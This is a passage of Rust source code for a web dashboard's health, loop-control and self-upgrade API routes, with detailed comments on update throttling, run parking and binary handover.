1743    runs_rev: u64,
1744    /// The same revisions [`events`] streams for the question and talk
1745    /// stores.
1746    ///
1747    /// Here because this route is what the front end falls back to when the
1748    /// change stream is not up - it re-polls health on a timer and on wake, and
1749    /// takes the revisions from the answer. Without these the fallback
1750    /// compares `undefined` against `undefined` for both stores, decides
1751    /// nothing moved, and a phone with a dead stream never learns that a
1752    /// question was asked or that a talk took a turn. `queue_rev` and
1753    /// `runs_rev` above have always been here for exactly this reason; the rule
1754    /// is that every revision the stream carries, this route carries too.
1755    questions_rev: u64,
1756    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1757    talks_rev: u64,
1758    /// See [`HealthView::questions_rev`]. The notification centre's store.
1759    notifications_rev: u64,
1760    /// Notifications nobody has read yet: the bell's badge before
1761    /// `/api/notifications` has answered.
1762    notifications_unread: usize,
1763    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1764    /// is not on disk anywhere, so a phone with no change stream has no other
1765    /// way to notice that the loop it is waiting on was started from another
1766    /// device.
1767    loop_rev: u64,
1768    /// Runs on disk whose state this build cannot parse - almost always a
1769    /// schema bump, occasionally a run killed mid-write.
1770    ///
1771    /// Reported because the list silently skips them, and "no competitions
1772    /// yet" is a lie when six of them are sitting in the runs directory. The
1773    /// terminal deck learned the same lesson: a run that fails to parse must
1774    /// not disappear from the count.
1775    runs_unreadable: usize,
1776    /// The disk, and what the runs and their worktrees occupy on it.
1777    ///
1778    /// This is the incident the janitor exists for: magi alone put 30 GB into
1779    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1780    /// is exactly where the operator learns "the disk is the constraint" -
1781    /// the diagnosis that a run is being held for want of space has to be
1782    /// checkable on the same screen.
1783    disk: DiskView,
1784    /// Questions nobody has answered yet, including ones an owner talked
1785    /// back on and is now waiting for the agent's reply to. A round trip
1786    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1787    /// while the ball is in the agent's court - see
1788    /// [`crate::ask::Questions::count_open`].
1789    questions_open: usize,
1790    /// Of those, how many actually need the owner right now: open, and not
1791    /// [`crate::ask::Question::waiting_on_agent`].
1792    ///
1793    /// The one number that means "nothing will happen until a human acts" -
1794    /// a parked run consumes nothing and progresses never - and the count the
1795    /// ask bar, the nav badge and the document title fall back to before
1796    /// `/api/questions` has answered, so those notification channels clear
1797    /// the instant the owner asks back and reappear the instant the agent
1798    /// replies, instead of sitting lit for however long the agent thinks.
1799    questions_needs_owner: usize,
1800    daemon: DaemonView,
1801    /// The loop in this process, exactly what `/api/loop` answers with.
1802    ///
1803    /// Here so a phone that has just woken needs one request to know whether
1804    /// anything is going to happen at all: `daemon` says a loop is alive
1805    /// somewhere, and this says whether it is one this UI can stop.
1806    #[serde(rename = "loop")]
1807    looping: LoopView,
1808    /// Whether a release newer than this build is known, and which.
1809    ///
1810    /// From [`updater::Checker::cached_update`] - the same throttled state the
1811    /// CLI's `notify` mode banners from - never a live check: this route is
1812    /// polled every few seconds, and a live check on each poll would spend
1813    /// GitHub's rate limit before the operator finished reading the strip.
1814    update: UpdateView,
1815    /// The self-upgrade this deck last set in motion, or `null` before the
1816    /// first one. Read off disk, so the successor can report what its
1817    /// predecessor started.
1818    upgrade: Option<UpgradeProgressView>,
1819}
1820
1821/// What `/api/health` knows about a release newer than this build.
1822///
1823/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1824/// is already the newest" from "never checked" - both are `None` - and the
1825/// phone needs to tell those apart to decide whether the deck can be trusted
1826/// to have an opinion at all.
1827#[derive(Debug, Serialize)]
1828struct UpdateView {
1829    /// A newer release is known to exist.
1830    available: bool,
1831    /// Its tag, when `available`.
1832    to: Option<String>,
1833}
1834
1835/// [`updater::Progress`] as `/api/health` reports it.
1836#[derive(Debug, Serialize)]
1837struct UpgradeProgressView {
1838    stage: updater::Stage,
1839    from: String,
1840    to: Option<String>,
1841    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1842    /// the step it is finishing before the address is handed over.
1843    waiting_on: Option<String>,
1844    started_at: Timestamp,
1845    updated_at: Timestamp,
1846    detail: Option<String>,
1847    /// Seconds the stage has outlived its allowance, when it has - see
1848    /// [`updater::stall`]. `null` while the stage is moving normally.
1849    stuck_for_secs: Option<i64>,
1850    /// Which kind of stuck: `never_entered` (hand_over left no record of
1851    /// starting) or `stopped_beating`. `null` when not stuck.
1852    stuck_kind: Option<updater::StallKind>,
1853    /// `hand_over` is alive and waiting on the loop: however long that takes,
1854    /// it is not an overdue upgrade.
1855    handover_alive: bool,
1856}
1857
1858/// Whether [`run_update_recheck`] may act at all this tick.
1859///
1860/// The same two conditions [`updater::Checker::new`] and
1861/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1862/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1863/// GitHub from this process" - on a button press or on a timer alike.
1864fn should_spawn_recheck(cfg: &Update) -> bool {
1865    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1866}
1867
1868/// Whether this tick should actually reach the network, once checking itself
1869/// is allowed.
1870///
1871/// An upgrade already in flight must not be raced by a check that discovers
1872/// a *newer* release while one is still installing - a phone watching
1873/// `/api/health` would see the answer change out from under the upgrade it
1874/// already asked for. Past that, [`updater::Checker::should_check`] is the
1875/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1876/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1877/// polling period, is what keeps this task's network use to at most once per
1878/// `[update] interval` regardless of how often it wakes up.
1879fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1880    if progress.is_some_and(|p| !p.stage.terminal()) {
1881        return false;
1882    }
1883    checker.should_check()
1884}
1885
1886/// How long [`run_update_recheck`] sleeps before its next wake-up.
1887///
1888/// A fraction of the configured `[update] interval` rather than a fixed
1889/// number: a fixed sleep longer than a short custom interval would leave the
1890/// deck waiting on its own wake-up rather than on `should_check`, so an
1891/// operator who set `interval = "1m"` to make the UI catch up quickly would
1892/// not see that take effect until the next restart - exactly the bug this
1893/// task exists to fix, just moved one level down. Scaling with the interval
1894/// keeps the wake-up prompt relative to what was actually configured, while
1895/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1896/// still what caps the network calls themselves at one per interval,
1897/// regardless of how often this fires.
1898fn recheck_poll_period(cfg: &Update) -> Duration {
1899    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1900}
1901
1902/// Keep `/api/health`'s `update` field current for as long as `magi web`
1903/// stays up.
1904///
1905/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1906/// which is enough for every other command: they exit in seconds. `magi web`
1907/// can run for days, so a single startup check leaves the cache - and the
1908/// phone's "Update & restart" button, which reads it via
1909/// [`cached_update_view`] - frozen on whatever that one look found, however
1910/// many releases ship afterwards. This is what notices the rest of them,
1911/// re-reading the config each tick so a `magi.toml` edit while the server is
1912/// up takes effect without a restart, the same way every other route here
1913/// already does - both for whether checking is on at all and for how long
1914/// the next sleep should be.
1915///
1916/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1917/// "install"`: swapping the running binary out from under a task or a run
1918/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1919/// not as a side effect of a timer nobody asked to fire. This only ever
1920/// calls [`updater::Checker::newer_release`], which refreshes
1921/// `last_update_check.json` and nothing else - so under `mode = "install"`
1922/// this behaves like `notify` for as long as the deck stays up, and an
1923/// actual self-install still happens exactly where it always has: once, at
1924/// the next process start.
1925async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1926    loop {
1927        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1928        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1929        if !should_spawn_recheck(&cfg.update) {
1930            continue;
1931        }
1932        let Some(checker) = updater::Checker::new(&cfg.update) else {
1933            continue;
1934        };
1935        let progress = updater::read_progress(&home);
1936        if !update_recheck_due(&checker, progress.as_ref()) {
1937            continue;
1938        }
1939        if let Err(e) = checker.newer_release().await {
1940            tracing::warn!("background update recheck failed: {e:#}");
1941        }
1942    }
1943}
1944
1945/// [`UpdateView`] from the same throttled, disk-only state
1946/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1947/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1948/// no cached state at all, which is correct: an operator who turned checking
1949/// off gets no opinion, not a stale one.
1950fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1951    let default;
1952    let cfg = match cfg {
1953        Some(cfg) => cfg,
1954        None => {
1955            default = Config::default();
1956            &default
1957        }
1958    };
1959    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1960    match latest {
1961        Some(latest) => UpdateView {
1962            available: true,
1963            to: Some(latest.tag_name),
1964        },
1965        None => UpdateView {
1966            available: false,
1967            to: None,
1968        },
1969    }
1970}
1971
1972/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1973/// from the parked run's own state when the stage is
1974/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1975/// already on disk in `run.json`, so this reads them fresh rather than
1976/// trusting whatever was true the moment the park was requested.
1977fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1978    let now = Timestamp::now();
1979    let lease = updater::read_lease(&ui.home);
1980    let alive = updater::live_lease(&progress, lease.as_ref(), now);
1981    let run_id = alive
1982        .and_then(|l| l.parked_run.as_deref())
1983        .or(progress.parked_run.as_deref());
1984    let waiting_on = (progress.stage == updater::Stage::Parking)
1985        .then_some(run_id)
1986        .flatten()
1987        .map(|id| {
1988            let waited = alive.map_or_else(String::new, |l| {
1989                let secs = updater::waited_secs(l, now);
1990                format!(" (waited {} min so far)", secs / 60)
1991            });
1992            match read_run(&ui.runs, id).ok() {
1993                Some(run) => format!(
1994                    "run {} is finishing {} before the address is handed over{waited}",
1995                    run.short(),
1996                    run.status.as_str()
1997                ),
1998                None => format!("run {id} is finishing before the address is handed over{waited}"),
1999            }
2000        });
2001    let detail = progress
2002        .detail
2003        .clone()
2004        .or_else(|| updater::read_note(&ui.home, &progress));
2005    let stalled = updater::stall(&progress, lease.as_ref(), now);
2006    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2007    UpgradeProgressView {
2008        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2009        stuck_kind: stalled.map(|s| s.kind),
2010        handover_alive: alive.is_some(),
2011        stage: progress.stage,
2012        from: progress.from,
2013        to: progress.to,
2014        waiting_on,
2015        started_at: progress.started_at,
2016        updated_at: progress.updated_at,
2017        detail,
2018    }
2019}
2020
2021/// The disk figures `/api/health` carries. Every number is produced by
2022/// [`crate::disk`], the same code that decides a run may not start, so the
2023/// health screen and the gate cannot disagree about what the machine looks
2024/// like.
2025#[derive(Debug, Serialize)]
2026struct DiskView {
2027    /// Free bytes on the volume holding the runs, when measurable.
2028    #[serde(skip_serializing_if = "Option::is_none")]
2029    free_bytes: Option<u64>,
2030    /// Everything the runs directory occupies, unreadable runs included.
2031    runs_bytes: u64,
2032    /// Everything the runs' worktrees occupy.
2033    worktrees_bytes: u64,
2034    /// The shared build cache's size, when the config names one.
2035    #[serde(skip_serializing_if = "Option::is_none")]
2036    cache_bytes: Option<u64>,
2037}
2038
2039impl DiskView {
2040    /// Measure the three directories and re-read the config's cache.
2041    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2042        let cache_bytes = cfg
2043            .and_then(|cfg| cfg.cache_dir())
2044            .map(|dir| crate::disk::dir_size(&dir));
2045        Self {
2046            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2047            runs_bytes: crate::disk::dir_size(&ui.runs),
2048            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2049            cache_bytes,
2050        }
2051    }
2052}
2053
2054/// The daemon's state as the UI presents it.
2055#[derive(Debug, Serialize)]
2056struct DaemonView {
2057    running: bool,
2058    idle: Option<bool>,
2059    pid: Option<u32>,
2060    /// Every task and run currently in flight. Empty when idle; more than
2061    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2062    /// run going at once.
2063    current: Vec<daemon::Current>,
2064    completed: Option<u64>,
2065    stale_for_secs: Option<i64>,
2066}
2067
2068impl DaemonView {
2069    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2070    /// not this UI's — a crashed daemon must not look alive here while
2071    /// `doctor` calls it dead.
2072    fn of(status: Option<daemon::Reading>) -> Self {
2073        let Some(status) = status else {
2074            return Self {
2075                running: false,
2076                idle: None,
2077                pid: None,
2078                current: Vec::new(),
2079                completed: None,
2080                stale_for_secs: None,
2081            };
2082        };
2083        let now = Timestamp::now();
2084        let age = status.age_secs(now);
2085        Self {
2086            running: status.running(now),
2087            idle: Some(status.idle),
2088            pid: status.pid,
2089            current: status.current,
2090            completed: Some(status.completed),
2091            stale_for_secs: age,
2092        }
2093    }
2094}
2095
2096async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2097    blocking(move || {
2098        // One read of the status file for the two fields that describe it, so
2099        // `daemon` and `loop` in the same answer cannot disagree about who is
2100        // running the loop.
2101        let reading = daemon::read_status(&ui.home);
2102        // Read on its own line, not inside the literal below: the loop's lock
2103        // is not reentrant, and a guard taken as a temporary there would still
2104        // be held when `loop_view` took it again.
2105        let loop_rev = ui.lock_loop().rev;
2106        // One discover for both views: each is a few git processes plus a
2107        // config render, and neither depends on anything the other reads.
2108        let cfg = deputy_config(&ui.repo);
2109        let update = cached_update_view(cfg.as_ref());
2110        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2111        Ok(Json(HealthView {
2112            version: env!("CARGO_PKG_VERSION"),
2113            home: ui.home.display().to_string(),
2114            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2115            runs_rev: runs_revision(&ui.runs),
2116            questions_rev: ui.questions.revision(),
2117            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2118            notifications_rev: ui.notices.revision(),
2119            notifications_unread: ui.notices.count_unread(),
2120            loop_rev,
2121            runs_unreadable: runs_unreadable(&ui.runs),
2122            questions_open: ui.questions.count_open(),
2123            questions_needs_owner: ui.questions.count_needs_owner(),
2124            daemon: DaemonView::of(reading.clone()),
2125            looping: ui.loop_view(reading),
2126            disk: DiskView::of(&ui, cfg.as_ref()),
2127            update,
2128            upgrade,
2129        }))
2130    })
2131    .await
2132}
2133
2134/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2135#[derive(Debug, Serialize)]
2136struct LoopView {
2137    /// A loop is running in *this* process.
2138    running: bool,
2139    /// It has been asked to stop and is still finishing a run.
2140    ///
2141    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2142    /// because the two differ exactly where it matters: a loop asked to stop
2143    /// while idle is gone within one poll interval, and one asked to stop
2144    /// mid-run keeps going for as long as the graph takes. The operator needs
2145    /// to be told which of those they are waiting for.
2146    stopping: bool,
2147    /// A park was asked for: the run in flight stops at its next node
2148    /// boundary rather than finishing.
2149    ///
2150    /// Separate from `stopping` because the two promise different waits. A
2151    /// stop is "when this competition ends", which can be an hour; a park is
2152    /// "after the step it is on", which is minutes and is what an operator
2153    /// waiting to replace the binary needs to see.
2154    parking: bool,
2155    /// The loop is this process's own.
2156    ///
2157    /// Spelled separately from `running` for the front end's sake, even
2158    /// though inside this process the two move together: `running: false`
2159    /// with `daemon.running: true` is the case where the operator's own `magi
2160    /// serve` owns the loop, and `owned` is the field that tells the UI its
2161    /// buttons have to explain that rather than pretend.
2162    owned: bool,
2163    /// Repository the loop uses for tasks that name none - what it was
2164    /// started with while it runs, and what a start would use before that.
2165    repo: String,
2166    /// Merge mode override in force, or `null` when each repository's own
2167    /// config decides.
2168    merge: Option<String>,
2169    /// Why the last loop in this process ended, when it ended badly.
2170    ///
2171    /// The only place a crashed loop is visible to someone holding a phone.
2172    /// It is logged at error level as well, but a terminal nobody kept open
2173    /// is not a report, and a loop that died at 3am must not read as merely
2174    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2175    /// answers the same question about the same kind of failure.
2176    last_error: Option<String>,
2177    /// The status file, judged the same way `/api/health` judges it: this is
2178    /// what says whether a loop is alive in some *other* process.
2179    daemon: DaemonView,
2180}
2181
2182/// A loop another process already owns.
2183///
2184/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2185/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2186/// published by a pid that is not ours. Excluding our own pid is what makes
2187/// stopping work at all - the loop this process runs writes that file too, so
2188/// a check that ignored the pid would decide the operator's own UI was a
2189/// stranger and refuse to stop the loop it had just started.
2190#[derive(Debug, Clone, Copy)]
2191struct Foreign {
2192    /// The pid the other process published, when it published one.
2193    pid: Option<u32>,
2194}
2195
2196impl Foreign {
2197    /// Another process's live loop, or `None` when this process is free to
2198    /// run one.
2199    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2200        // A fresh heartbeat with no pid in it is still evidence of a live
2201        // daemon. "Some other process" is the honest answer, and refusing
2202        // to start beside it is the safe one.
2203        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2204    }
2205
2206    /// How a conflict names it. The pid is the whole point of the message: it
2207    /// is what the operator needs to find the terminal that owns the loop.
2208    fn who(&self) -> String {
2209        match self.pid {
2210            Some(pid) => format!("another magi process (pid {pid})"),
2211            None => "another magi process".to_owned(),
2212        }
2213    }
2214}
2215
2216/// How a loop is started, as a future this module can hold onto.
2217///
2218/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2219/// trait object or a hand-written `Debug` impl for the sake of one seam.
2220type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2221
2222/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2223fn launch_daemon(
2224    opts: daemon::Opts,
2225    stop: daemon::Stop,
2226) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2227    Box::pin(daemon::serve_until(opts, stop))
2228}
2229
2230/// The loop this process runs, behind one lock.
2231#[derive(Debug, Default)]
2232struct LoopState {
2233    /// The loop, while there is one.
2234    live: Option<Live>,
2235    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2236    ///
2237    /// The loop is in-process state rather than a file, so nothing on disk
2238    /// would tell a second phone that the first one started it. Without this
2239    /// counter the only way to learn about a start, a stop request or a crash
2240    /// would be to poll `/api/loop`, which is the thing the change stream
2241    /// exists to avoid on a mobile link.
2242    rev: u64,
2243    /// Why the last loop ended, when it ended badly. See
2244    /// [`LoopView::last_error`].
2245    last_error: Option<String>,
2246    /// The loop was running (and not already stopping) when the last upgrade
2247    /// parked it, so the successor should start one. Set afresh by every
2248    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2249    /// update.
2250    resume_after_handover: bool,
2251}
2252
2253/// A loop in flight.
2254#[derive(Debug)]
2255struct Live {
2256    /// The cooperative stop, shared with the loop task.
2257    stop: daemon::Stop,
2258    /// The task itself, kept only to answer whether it is still there: a loop
2259    /// that panicked never records its own end, and without this the view
2260    /// would go on reporting a loop that no longer exists - the one lie that
2261    /// would leave the operator with no button to press.
2262    handle: tokio::task::JoinHandle<()>,
2263    /// What the loop was started with, so the view reports the repository and
2264    /// merge mode its runs will actually use rather than what an edit to the
2265    /// config since would give.
2266    opts: daemon::Opts,
2267}
2268
2269impl Live {
2270    /// Is the task still there? See [`Live::handle`].
2271    fn alive(&self) -> bool {
2272        !self.handle.is_finished()
2273    }
2274}
2275
2276/// Take the loop lock, recovering from a poisoned one.
2277///
2278/// What this mutex holds is a stop flag, a task handle and two counters, none
2279/// of which a panic elsewhere can leave in a state worth refusing to read.
2280/// Propagating the poison instead would mean an operator who can see the loop
2281/// running and can no longer stop it from the only surface they have.
2282fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2283    state.lock().unwrap_or_else(PoisonError::into_inner)
2284}
2285
2286/// `GET /api/loop`.
2287async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2288    blocking(move || {
2289        let reading = daemon::read_status(&ui.home);
2290        Ok(Json(ui.loop_view(reading)))
2291    })
2292    .await
2293}
2294
2295/// The body of `POST /api/loop`.
2296///
2297/// One required field and nothing else: no `default` and no unknown fields,
2298/// so a body that fails to say which way the switch was flipped is a 400
2299/// rather than a tap that quietly does the opposite of what was pressed.
2300#[derive(Debug, Deserialize)]
2301#[serde(deny_unknown_fields)]
2302struct LoopCommand {
2303    running: bool,
2304    /// Stop the run in flight at its next node boundary rather than letting it
2305    /// finish.
2306    ///
2307    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2308    /// competition is tens of minutes of paid work and finishing it is
2309    /// normally the cheapest thing to do. A park is for the operator who
2310    /// wants the process gone now - to replace the binary, most of all - and
2311    /// it costs at most the node in progress because every node writes its
2312    /// state before the next one starts.
2313    #[serde(default)]
2314    park: bool,
2315}
2316
2317/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2318///
2319/// Answers with the view rather than waiting for the loop to reach the state
2320/// that was asked for. Starting is immediate anyway; stopping is not, and the
2321/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2322/// request open for. `stopping` in the answer is what the operator watches
2323/// instead.
2324async fn loop_post(
2325    State(ui): State<Arc<Ui>>,
2326    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2327) -> ApiResult<Json<LoopView>> {
2328    // Taken as a `Result` so a malformed body is a 400 like every other route
2329    // here, rather than axum's default 422 that the UI has no branch for.
2330    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2331    blocking(move || {
2332        let reading = daemon::read_status(&ui.home);
2333        let foreign = Foreign::of(reading.as_ref());
2334        if body.running {
2335            ui.start_loop(foreign)?;
2336        } else {
2337            ui.stop_loop(foreign, body.park)?;
2338        }
2339        Ok(Json(ui.loop_view(reading)))
2340    })
2341    .await
2342}
2343
2344/// What `POST /api/upgrade` set in motion.
2345#[derive(Debug, Serialize)]
2346struct UpgradeView {
2347    /// The version this process is running.
2348    from: String,
2349    /// The release it is replacing itself with, when there is one.
2350    to: Option<String>,
2351    /// A run was parked first, and this is its id.
2352    parked: Option<String>,
2353    /// What the operator should expect to happen next.
2354    detail: String,
2355}
2356
2357/// The stage of an upgrade that is still moving, if the record says so.
2358/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2359fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2360    progress.filter(|p| !p.stage.terminal())
2361}
2362
2363/// `POST /api/upgrade` - replace this binary with the newest release and come
2364/// back on it.
2365///
2366/// The one thing the deck could not do for itself. Every fix landed today
2367/// either waited for a competition to end or went in with the deck stopped,
2368/// because `cargo install` cannot overwrite a running executable on Windows.
2369/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2370/// the new one in its place, so the swap itself needs no downtime. Only the
2371/// restart does, and the order is the whole design:
2372///
2373/// 1. **Park.** A run in flight stops at its next node boundary and stays
2374///    resumable, so this costs at most the node in progress rather than the
2375///    competition. Without it the honest choices were waiting an hour or
2376///    discarding paid agent work.
2377/// 2. **Replace.** The new binary goes into place while this one still runs.
2378/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2379///    successor - see [`spawn_successor`] for what happens in the other
2380///    order.
2381/// 4. **Resume.** The next loop carries the parked run on rather than
2382///    competing again; see `daemon::attempt`.
2383///
2384/// Answers **202**: the reply has to reach the phone while this process can
2385/// still send one, and the phone learns the deck is back by reconnecting.
2386async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2387    let reading = daemon::read_status(&ui.home);
2388    if let Some(other) = Foreign::of(reading.as_ref()) {
2389        return Err(ApiError::conflict(format!(
2390            "the loop belongs to {}, so replacing this binary would leave \
2391             that process running an old one against the same queue. Upgrade \
2392             where it was started.",
2393            other.who()
2394        )));
2395    }
2396
2397    // A second upgrade while one is moving would replace the binary and
2398    // signal the handover again after `serve` already consumed the first
2399    // signal, leaving the process in `replaced` forever. Try-lock rather than
2400    // wait: a phone connection must not hang behind a GitHub round trip.
2401    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2402        return Err(ApiError::conflict(
2403            "another request is already preparing an upgrade",
2404        ));
2405    };
2406    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2407        return Err(ApiError::conflict(
2408            "an upgrade is already in progress (this process started one and it \
2409             has not finished or failed yet)",
2410        ));
2411    }
2412    let recorded = updater::read_progress(&ui.home);
2413    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2414        return Err(ApiError::conflict(format!(
2415            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2416             stays stuck, restart the deck; on start it settles a stale record.",
2417            p.stage.as_str(),
2418            p.from,
2419            p.to.as_deref().unwrap_or("?"),
2420        )));
2421    }
2422
2423    // The same kill switch the background check honours (`disabled_by_env`),
2424    // checked before anything else for the same reason it is read before the
2425    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2426    // contact GitHub from this process", and a button press must not
2427    // override that any more than a broken `magi.toml` may.
2428    if crate::updater::disabled_by_env() {
2429        return Ok((
2430            StatusCode::OK,
2431            Json(UpgradeView {
2432                from: env!("CARGO_PKG_VERSION").to_owned(),
2433                to: None,
2434                parked: None,
2435                detail: format!(
2436                    "Automatic updates are disabled by {}. Nothing was parked \
2437                     and nothing restarted.",
2438                    crate::updater::NO_AUTOUPDATE_ENV
2439                ),
2440            }),
2441        ));
2442    }
2443
2444    // Asked before anything is disturbed. Restarting when there is nothing
2445    // to install is not a harmless no-op: it parks the run in flight and
2446    // drops every connection to pay for an upgrade that did not happen. A
2447    // probe against a deck already on the newest build did exactly that.
2448    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2449    let from = env!("CARGO_PKG_VERSION").to_owned();
2450    let latest = match crate::updater::Checker::new(&cfg.update) {
2451        Some(checker) => checker
2452            .newer_release()
2453            .await
2454            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2455        None => None,
2456    };
2457    let Some(latest) = latest else {
2458        return Ok((
2459            StatusCode::OK,
2460            Json(UpgradeView {
2461                from,
2462                to: None,
2463                parked: None,
2464                detail: "Already on the newest release. Nothing was parked \
2465                         and nothing restarted."
2466                    .to_owned(),
2467            }),
2468        ));
2469    };
2470
2471    // Parked before anything is replaced: a successor that came up while a
2472    // run was mid-node would find a run nobody is driving.
2473    let parked = ui.park_for_upgrade()?;
2474    let detail = match &parked {
2475        // Honest about the wait. A park takes effect at the *next* node
2476        // boundary, so a run mid-implement finishes that wave first - up to
2477        // `timeout_implement`, an hour by default. Saying "restarting now"
2478        // would make the deck look wedged for the rest of it.
2479        Some(run) => format!(
2480            "Run {} is parking at its next step, which can take as long as \
2481             the step it is on - up to an hour for an implement wave. The \
2482             deck replaces itself once it parks, comes back, and the loop \
2483             carries that run on from where it stopped. Nothing is lost if \
2484             you close this.",
2485            crate::run::short_of(run)
2486        ),
2487        None => "The deck replaces itself and comes back. Nothing was in \
2488                 flight to park."
2489            .to_owned(),
2490    };
2491
2492    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2493    // poll must see a `Downloading` stage immediately, not whenever the
2494    // spawned task happens to get scheduled.
2495    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2496    progress.parked_run = parked.clone();
2497    // A failed write is logged, not returned: the loop is already parked
2498    // above, and bailing out here would leave it parked with no upgrade
2499    // spawned to hand over or resume it.
2500    updater::write_progress_logged(&ui.home, &progress);
2501
2502    let home = ui.home.clone();
2503    let looping = ui.looping();
2504    ui.upgrade_spawned
2505        .store(true, std::sync::atomic::Ordering::SeqCst);
2506    let spawned = Arc::clone(&ui.upgrade_spawned);
2507    tokio::spawn(async move {
2508        if let Err(e) = upgrade_and_restart(home.clone()).await {
2509            tracing::error!("the upgrade did not complete: {e:#}");
2510            lock_or_recover(&looping).resume_after_handover = false;
2511            // A failure of this attempt says nothing about a handover an
2512            // earlier request already has in flight; checked and written
2513            // under the progress lock.
2514            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2515            // Released last: until the cleanup above is done, a retry must
2516            // not be able to park and record state this would then undo.
2517            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2518        }
2519    });
2520
2521    Ok((
2522        StatusCode::ACCEPTED,
2523        Json(UpgradeView {
2524            from,
2525            to: Some(latest.tag_name),
2526            parked,
2527            detail,
2528        }),
2529    ))
2530}
2531
2532/// Replace the binary, then ask [`serve`] to hand the address over.
2533///
2534/// Separated from the handler so the 202 is already on its way, and separated
2535/// from the spawn so the successor starts only after the listener is dropped.
2536async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2537    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2538    // hang the upgrade for as long as the process lives.
2539    crate::updater::run_self_update(true, false, true).await?;
2540    updater::log_step(&home, "binary replaced - recording the replaced stage");
2541    if let Some(mut progress) = updater::read_progress(&home) {
2542        progress.advance(updater::Stage::Replaced);
2543        updater::write_progress_logged(&home, &progress);
2544    }
2545    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2546    HANDOVER.notify_one();
2547    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2548    Ok(())
2549}
2550
2551/// One row in the run list.
2552///
2553/// The list route returns this rather than whole `RunState`s: the summary of a
2554/// run is a few hundred bytes and the state is megabytes, and the difference
2555/// is what makes the history usable on a mobile link.
2556#[derive(Debug, Serialize)]
2557struct RunSummary {
2558    id: String,
2559    short: String,
2560    status: String,
2561    done: bool,
2562    instruction: String,
2563    title: String,
